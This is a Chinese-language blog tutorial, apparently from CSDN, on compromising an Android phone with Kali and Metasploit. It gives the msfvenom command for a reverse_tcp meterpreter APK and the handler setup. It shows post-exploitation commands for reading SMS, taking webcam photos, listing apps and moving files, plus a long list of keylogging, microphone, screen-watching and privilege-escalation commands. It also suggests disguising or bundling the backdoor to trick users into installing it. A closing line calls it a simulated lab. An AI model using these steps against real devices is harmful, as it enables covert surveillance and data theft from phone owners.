Kali利用MSF渗透安卓手机

超、凢脫俗 2023-10-08 22:48 53阅读 0赞

该环境均为模拟环境

一、什么是MSF

二、演示环境

三、渗透过程

1.使用root权限

2.生成可执行木马文件

3.将生成的后门文件，放入靶机

4. 运行msfconsole命令

5.参数配置

6.在靶机运行后门程序

四、命令执行

1.查看对方手机系统信息

2.查看对方手机安装哪些app文件

3.控制摄像头拍摄一张照片

4.实时查看靶机的信息

5.上传文件到靶机

6.下载文件到本机

--------------------

## **一、什么是MSF** ##

MSF是一个综合性渗透测试工具，集成信息收集、漏洞扫描、漏洞利用以及提权等功能的工具

## 二、演示环境 ##

kali ip: 192.168.249.137

夜神模拟器 Android7.1.2

## 三、渗透过程 ##

### 1.使用root权限 ###

su root

![2e7cfddcdd5a46a0a9465648cc9e2704.png][]

### 2.生成可执行后门文件 ###

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.249.130 LPORT=5555 R >Android.apk

LHOST的IP写自己kali的ip，LPORT选一个没占用的端口，apk的名字自定义

运行代码生成文件

![efb4fcadf260489384d7c7d29f81db60.png][]

![e0e405ad408a4f1aab750c816429d333.png][]

### 3.将生成的后门文件，放入靶机 ###

![f34bb02db88545778da109b695a723c6.png][]

### 4. 运行msfconsole命令 ###

![49b152aabc744defb17fbe5b10b31bcf.png][]

### 5.参数配置 ###

use exploit/multi/handler （选择模块）
    set payload android/meterpreter/reverse_tcp (选择攻击模块)
    set LhOST 192.168.249.130 （本地ip）
    set lport 5555  （端口）

![b7e46f4a57074a0881dca659a3b8b110.png][]

参数配置完成，查看配置

show options

![7e2b22ace6494e4bb0f413ae821feae8.png][]

exploit  运行

### 6.在靶机运行后门程序 ###

![56492a2125374818a91343d8dd12e67f.png][]

我们可以把这个程序伪装一下，把他的图标改一下，或者把它捆绑在某些软件上面，当用户打开就自动安装到对方电脑上面

## 四、命令执行 ##

### **1.查看对方手机系统信息** ###

**命令 sysinfo**

![222636e795e44dfb804b8ed1a67d9e91.png][]

### **2.查看对方手机安装哪些app文件** ###

**命令： app\_list**

![bfc177c0bce44df6b0a80bfac1c4ed69.png][]

### 3.控制摄像头拍摄一张照片 ###

**命令 webcam\_snap**

![ac2bb07465dc4bb8a3a5d61e8a3ea525.png][]

### 4.实时查看靶机的信息 ###

**命令 dump\_sms**

![8dd9791f17394eaebfd4037ee7ebe34b.png][]

### 5.上传文件到靶机 ###

upload /文件  /目标地址

![eae1dfee38284dc59bf6f0b3de10d6fe.png][]

### 6.下载文件到本机 ###

download 文件

![9d4207f4c50d417797eb0cb42375594b.png][]

> 还可以查看帮助文档，命令`help`

![8a36751cd4304bbb973faa6356a02964.png][]

> **cmd指令:**
> 
> cat 读取文件内容到屏幕
> 
> cd 更改目录
> 
> checksum 检索文件的校验和
> 
> cp 将源复制到目标
> 
> del 删除指定文件
> 
> dir 列出文件（ls 的别名）
> 
> 下载 下载文件或目录
> 
> 编辑 编辑文件
> 
> getlwd 打印本地工作目录
> 
> getwd 打印工作目录
> 
> lcd 更改本地工作目录
> 
> lls 列出本地文件
> 
> lpwd 打印本地工作目录
> 
> ls 列出文件
> 
> mkdir 创建目录
> 
> mv 将源移动到目标
> 
> pwd 打印工作目录
> 
> rm 删除指定文件
> 
> rmdir 删除目录
> 
> search 搜索文件
> 
> show\_mount 列出所有挂载点/逻辑驱动器
> 
> upload 上传文件或目录
> 
> pkill 按名称终止进程

> **meterpreter命令：**
> 
> keyscan\_start 开始捕获击键（开始键盘记录）
> 
> keyscan\_dump 转储按键缓冲（下载键盘记录）
> 
> keyscan\_stop 停止捕获击键（停止键盘记录）
> 
> record\_mic X秒从默认的麦克风record\_mic音频记录（音频录制）
> 
> webcam\_chat 开始视频聊天（视频，对方会有弹窗）
> 
> webcam\_list 单摄像头（查看摄像头列表）
> 
> webcam\_snap 采取快照从指定的摄像头（摄像头拍摄一张照片）
> 
> webcam\_stream 播放视频流从指定的摄像头（开启摄像头监控）
> 
> enumdesktops 列出所有可访问的桌面和窗口站（窗体列表）
> 
> getdesktop 得到当前的Meterpreter桌面
> 
> reboot 重新启动远程计算机
> 
> shutdown 关闭远程计算机
> 
> shell 放入系统命令 shell
> 
> enumdesktops 列出所有可访问的桌面和窗口站
> 
> getdesktop 获取当前的meterpreter桌面
> 
> idletime 返回远程用户空闲的秒数
> 
> keyboard\_send 发送击键
> 
> keyevent 发送按键事件
> 
> keyscan\_dump 转储击键缓冲区
> 
> keyscan\_start 开始捕获击键
> 
> keyscan\_stop 停止捕获击键
> 
> mouse 发送鼠标事件
> 
> screenshare 实时观看远程用户桌面
> 
> screenshot 抓取交互式桌面的屏幕截图
> 
> setdesktop 更改 Meterpreters 当前桌面
> 
> uictl 控制一些用户界面组件
> 
> record\_mic 从默认麦克风录制音频 X 秒
> 
> webcam\_chat 开始视频聊天
> 
> webcam\_list 列出网络摄像头
> 
> webcam\_snap 从指定的网络摄像头拍摄快照
> 
> webcam\_stream 播放来自指定网络摄像头的视频流
> 
> play 在目标系统上播放波形音频文件 (.wav)
> 
> getsystem 尝试将您的权限提升到本地系统的权限
> 
> execute -f notepad 打开记事本

该实验为模拟环境，未经授权的渗透都是违法行为，我们都是守法的好公民。

[2e7cfddcdd5a46a0a9465648cc9e2704.png]: https://img-blog.csdnimg.cn/2e7cfddcdd5a46a0a9465648cc9e2704.png
[efb4fcadf260489384d7c7d29f81db60.png]: https://img-blog.csdnimg.cn/efb4fcadf260489384d7c7d29f81db60.png
[e0e405ad408a4f1aab750c816429d333.png]: https://img-blog.csdnimg.cn/e0e405ad408a4f1aab750c816429d333.png
[f34bb02db88545778da109b695a723c6.png]: https://img-blog.csdnimg.cn/f34bb02db88545778da109b695a723c6.png
[49b152aabc744defb17fbe5b10b31bcf.png]: https://img-blog.csdnimg.cn/49b152aabc744defb17fbe5b10b31bcf.png
[b7e46f4a57074a0881dca659a3b8b110.png]: https://img-blog.csdnimg.cn/b7e46f4a57074a0881dca659a3b8b110.png
[7e2b22ace6494e4bb0f413ae821feae8.png]: https://img-blog.csdnimg.cn/7e2b22ace6494e4bb0f413ae821feae8.png
[56492a2125374818a91343d8dd12e67f.png]: https://img-blog.csdnimg.cn/56492a2125374818a91343d8dd12e67f.png
[222636e795e44dfb804b8ed1a67d9e91.png]: https://img-blog.csdnimg.cn/222636e795e44dfb804b8ed1a67d9e91.png
[bfc177c0bce44df6b0a80bfac1c4ed69.png]: https://img-blog.csdnimg.cn/bfc177c0bce44df6b0a80bfac1c4ed69.png
[ac2bb07465dc4bb8a3a5d61e8a3ea525.png]: https://img-blog.csdnimg.cn/ac2bb07465dc4bb8a3a5d61e8a3ea525.png
[8dd9791f17394eaebfd4037ee7ebe34b.png]: https://img-blog.csdnimg.cn/8dd9791f17394eaebfd4037ee7ebe34b.png
[eae1dfee38284dc59bf6f0b3de10d6fe.png]: https://img-blog.csdnimg.cn/eae1dfee38284dc59bf6f0b3de10d6fe.png
[9d4207f4c50d417797eb0cb42375594b.png]: https://img-blog.csdnimg.cn/9d4207f4c50d417797eb0cb42375594b.png
[8a36751cd4304bbb973faa6356a02964.png]: https://img-blog.csdnimg.cn/8a36751cd4304bbb973faa6356a02964.png